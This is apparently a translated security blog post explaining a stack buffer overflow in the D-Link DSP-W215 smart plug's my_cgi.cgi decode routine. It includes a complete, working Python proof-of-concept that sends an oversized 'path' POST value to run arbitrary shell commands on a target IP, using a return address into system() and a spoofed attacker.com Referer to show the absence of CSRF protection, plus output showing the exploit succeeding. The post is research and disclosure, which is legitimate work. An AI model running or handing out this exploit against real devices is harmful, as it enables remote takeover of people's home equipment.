
Hack D-Link DSP-W215 Smart Plug: Again, again, again
- Transfer

In previous series:
- Hack D-Link DSP-W215 Smart Plug
- Hack D-Link DSP-W215 Smart Plug. Again
- Hack D-Link DSP-W215 Smart Plug. Again and again
Until now, all vulnerabilities found in the DSP-W215 could only be performed from the LAN, well, if you are not stupid and did not open access to the Smart Plug from the Internet.
A typical way to attack devices with a built-in web server, accessible only from the internal network, such as that of the DSP-W215, is via CSRF. The problem with this method is that any web browser will encode (urlencode) the transmitted data, for example, the return address, but until that moment we used vulnerabilities that did not decode (urldecode) our data (vulnerability in the replace_special_char function that we exploited in previous article, decodes only a limited set of ASCII characters).
The binary file my_cgi.cgi, which is the main vulnerable target, contains a decode decoder function that decodes POST data. Two arguments are passed to this function: a pointer to encoded data and a pointer to a buffer where the decoded data is stored:
void decode(char *encode_buf, char *decode_buf);
This function simply loops through all the bytes in encode_buf and decodes or copies them to decode_buf:

Roughly speaking, its code looks something like this:
void decode(char *encode_buf, char *decode_buf)
{
int encoded_byte_len;
char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);
// Loop through all bytes in encode_buf, without knowing how big decode_buf is
while(encoded_data < encode_buf_end_ptr)
{
/*
* ...
* Do Decoding of the next byte in encoded_data.
* encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).
* ...
*/
decode_buf[0] = decoded_byte;
decode_buf++;
encoded_data += encoded_byte_len;
}
}
If the calling function does not take care of allocating a buffer large enough to store all the decoded data, then this buffer (decode_buf) can be overflowed with a large POST parameter.
In my_cgi.cgi there is only one function from which the decoding function is called - get_input_entries:

As you can see, the decode function is called only if the name of the POST parameter is path, and from memset you can see that only decode_buf is allocated to the buffer 0 × 400 on the stack:
char decode_buf[0x400];
if(strcmp(entries[i]->name, "path") == 0)
{
// Decode path POST value into the fixed-size decode_buf
decode(entries[i]->value, decode_buf);
strcpy(entries[i]->value, decode_buf);
}
replace_special_char(entries[i]->value);
This means that if we pass the value of "path" in the POST request larger than 0 × 400 bytes, the decode_buf buffer will overflow on the stack inside the get_input_entries function. And, more interestingly, we will not have "bad" bytes, because the decode function decodes them all (for example, turns% 00 into NULL bytes) before copying it back onto the stack.
However, we need to be careful when compiling the exploit so as not to cause a buffer overflow in the replace_special_char function, which is called before returning from get_input_entries.
Fortunately, the data that is passed to replace_special_char first passes strcpy from decode_buf, so if we put a NULL byte somewhere closer to the beginning of the POST request, the replace_special_char function will be passed a very short string (everything that was before the first NULL byte) instead of the entire POST request that was decoded onto the stack.
The POST value "path", longer than 1060 bytes, overflows everything in the stack frame of the get_input_entries function, including the return address:

And due to the fact that we do not have "bad" bytes, we can use the return address 0x00405CEC, which we used in previous exploits to call system () with a pointer to the stack ($ sp + 0 × 28):

Here is a small Python PoC code that overrides the get_input_entries function, replaces the return address with a system () call at 0x00405CEC, and runs the command on the stack at offset $ sp + 0 × 28:
import sys
import urllib
import urllib2
try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s " % sys.argv[0]
sys.exit(1)
url = "http://%s/common/info.cgi" % target
buf = "\x00" # Start with a NULL byte to prevent crashing in replace_special_chars
buf += "D" * (1060-1) # Stack filler
buf += "\x00\x40\x5C\xEC" # $ra, address of call to system()
buf += "E" * 0x28 # Stack filler
buf += command # Command to execute
buf += "\x00" # NULL terminate the command, for good measure
# URL encode the path POST value
post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20')
# Set a referer to show that there are no CSRF protections
headers = {'Referer' : 'http://www.attacker.com/exploit.html'}
req = urllib2.Request(url, post_data, headers)
print urllib2.urlopen(req).read()
It works, of course, as expected:
$ ./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin
drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev
drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc
drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib
drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec
lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found
drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc
drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin
drwxrwxrwx 3 1000 1000 4096 May 24 23:26 tmp
drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr
drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var
-rw-r--r-- 1 1000 1000 17 May 16 09:01 version
drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www